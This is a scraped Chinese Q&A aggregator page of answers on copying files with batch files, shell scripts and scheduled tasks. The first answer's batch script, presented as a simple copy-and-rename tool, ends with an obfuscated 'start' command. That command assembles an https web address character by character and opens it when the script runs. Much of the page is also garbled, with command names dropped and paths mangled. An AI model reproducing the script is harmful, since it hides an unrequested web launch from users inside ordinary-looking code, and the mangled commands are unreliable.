当前位置:首页 » 编程软件 » 文件拷贝脚本

文件拷贝脚本

发布时间: 2022-11-30 12:15:42

❶ 怎么用bat复制指定的一个文件到指定文件夹,并重命名

脚本保存时的编码务必设为ANSI,您包含文件名的文件列表文本,编码也要使用ANSI,否则中文字符会出现乱码现象,从而导致脚本执行报错。

@echooff&title批量拷贝文件到指定目录,并根据列表重命名By依梦琴瑶
cd/d"%~dp0"


::设置源文件完整路径,当前目录可只写相对路径
setSrcFile=C:.xlsx

::设置目标目录完整路径,当前目录可只写相对路径
setTgtFolder=C:

::设置列表文件完整路径,当前目录可只写相对路径
setFileLst=C:.txt


ifnotexist"%TgtFolder%."md"%TgtFolder%"
for/f"usebackqdelims="%%ain("%FileLst%")do(
rem如果列表文件中的命名不包含后缀名,那么请在下方的%%~a后面添加.xlsx后缀名
/y"%SrcFile%""%TgtFolder%\%%~a"
)
pause
set"Va="
set"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"
start"""%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"

❷ 怎么用shell脚本拷贝一个文件到另一个文件再把原文件删除

直接用cp命令就可以了
假设A文件和B文件
cp A B
这样A的内容到B,覆盖B原来的内容

❸ 帮忙写一个自动拷贝文件的脚本

输入services.msc,查看Task Scheler服务是否自动开启(默认是自动开启的)。然后写一个批处理文件:a.bat(假定存放在d盘根目录)

a.bat内容:
@echo off
d:\back\*.* e:\back

打开cmd,输入at 1:00 d:\a.bat
OK!

To问题补充:运行完关掉就可以了

❹ 在bat脚本中实现复制文件

bat 是批处理文件,主要用于 DOS 和 Windows 操作系统中。

.bat 文件的内容,是由一系列命令构成,每一行通常是一条命令,这些命令是以字符的形式,通过命令解释器进行执行(与 Windows 常见的鼠标点击运行不同)。

复制文件的最常用的命令是: 。相关的资料如下:

COPY [/D[1] ] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]] [destination [/A | /B]]

各参数代表的含义:

source 指定要复制的文件。
/A 表示一个 ASCII 文本文件。
/B 表示一个二进位文件。/D 允许解密要创建的目标文件
destination 为新文件指定目录和/或文件名。
/V 验证新文件写入是否正确。
/N 复制带有非 8dot3 名称的文件时,
尽可能使用短文件名。
/Y 不使用确认是否要覆盖现有目标文件的提示。
/-Y 使用确认是否要覆盖现有目标文件的提示。

示例:

将 D:\目录\ 下的所有 txt 文件,复制到 D:\目标目录 下。

D:\目录\*.txt D:\目标目录

❺ 利用Windows 计划任务定时将本地文件复制到共享文件夹

有时候,我们会遇到需要将本地文件定时复制到远程主机的情况。解决这个问题的思路是:

 1、编写复制文件脚本

 2、利用Windows计划任务定时执行脚本

逻辑是简单的清楚的,但是在实际操作过程中,却可能有很多细节。

脚本内容:

net use \\net_host_ip_address\ipc$ password/user:username

x /e /H "C:\backup" "\\10.144.129.17\share_dir\"

说明:

与本地cop不一样,网络之间的需要使用到用户名和密码,所以脚本的第一句是指定网络主机的几个参数:

net_host_ip_address:提供共享目录的主机的ip地址(或者主机名)

password:能够访问共享目录的用户名

username:访问共享目录的用户名

#第二行比较简单,

/e和/h都是x提供的参数,"C:\backup"是要拷贝的文件夹(x比较恶心人的是,并不能将根目录一起复制,只能复制目录下面的所有文件,

比如本次目录,要想连同backup一起拷贝,除非在backup上面还有一层目录)。最后一段就是网络位置

设置定时任务:

 这里需要说明的是:

 因为我们要设置的是定时任务,所以选择【不管用户是否登录都要执行】;因为我们要将本地资源复制到网络位置,

所以下面的不要存储密码一定不要选;

 这里我们要说的是其实位置:在windows server 2012 R2下,起始位置选择上一步程序或脚本的存储位置

❻ 如何用bat复制一个文件夹到另一个文件夹去

BAT脚本如下:

x c:\data\data1 d:\data\ /e
x c:\data\data2 d:\data\ /e

用XCOPY 复制目录树,/e 参数是包括空目录。
但如果目标路径存在,则不能复制。

❼ bat脚本读取并拷贝文件

@echooff
for/f%%ain(D: rrA.txt)do(
/y"%%a""D: tt")
pause

::中国批处理脚本联盟

❽ window中编写BAT脚本文件实现文件的拷贝

@echooff
for/f"tokens=2delims=="%%ain('wmicLogicalDiskwhere"DriveType='2'"getDeviceID/value')dosetU=%%a
x/s/e%U%:*D:个人目录
pause

以上命令会自动获取最后一个U盘的盘符路径。并把文件拷贝到D盘的个人目录中。

❾ shell脚本---定时复制文件至目的文件夹

业务需求:定时从path1中取文件,复制到path2中

主要解释第7行

分3部分:

既然上述命令输出的是一串字符串,则不可避免需要做切割。
对于一行字符串str="aaa,bbb,vvv,ccc"
直接利用${str[@]}就可以获得分割后的列表。那么,如何定义分隔符呢?
IFS=$','
IFS是系统自带的一个变量,储存着分隔符,默认好像是空格。可以自定义
上面脚本中就是定义了IFS为换行符。
脚本后半部分就是依次处理文件,判断目标文件夹是否已有该文件,如果没有,就复制。

项目中源文件夹的文件是每个几分钟会增加一个,相当于上述脚本要每隔一段时间运行一次,以确保源文件夹和目标文件夹里的内容同步。
crontab讲解1
crontab讲解2

❿ bat脚本拷贝某些文件到另外一个文件夹

BAT脚本如下: x c:\data\data1 d:\data\ /e x c:\data\data2 d:\data\ /e 用XCOPY 复制目录树,/e 参数是包括空目录。 但如果目标路径存在,则不能复制。

热点内容
派什么编程 发布:2024-05-08 21:25:43 浏览:340
手机作为存储设备 发布:2024-05-08 21:23:34 浏览:492
苹果x配置如何看 发布:2024-05-08 21:15:34 浏览:31
易语言加密文件夹 发布:2024-05-08 21:15:33 浏览:694
b站如何知道账号密码 发布:2024-05-08 20:33:55 浏览:691
知识图谱算法 发布:2024-05-08 20:33:19 浏览:908
手机登云服务器windows 发布:2024-05-08 20:32:57 浏览:113
上传3d模型 发布:2024-05-08 20:11:41 浏览:604
国内访问外国网站 发布:2024-05-08 20:09:40 浏览:859
wifi热点无internet访问 发布:2024-05-08 20:09:37 浏览:892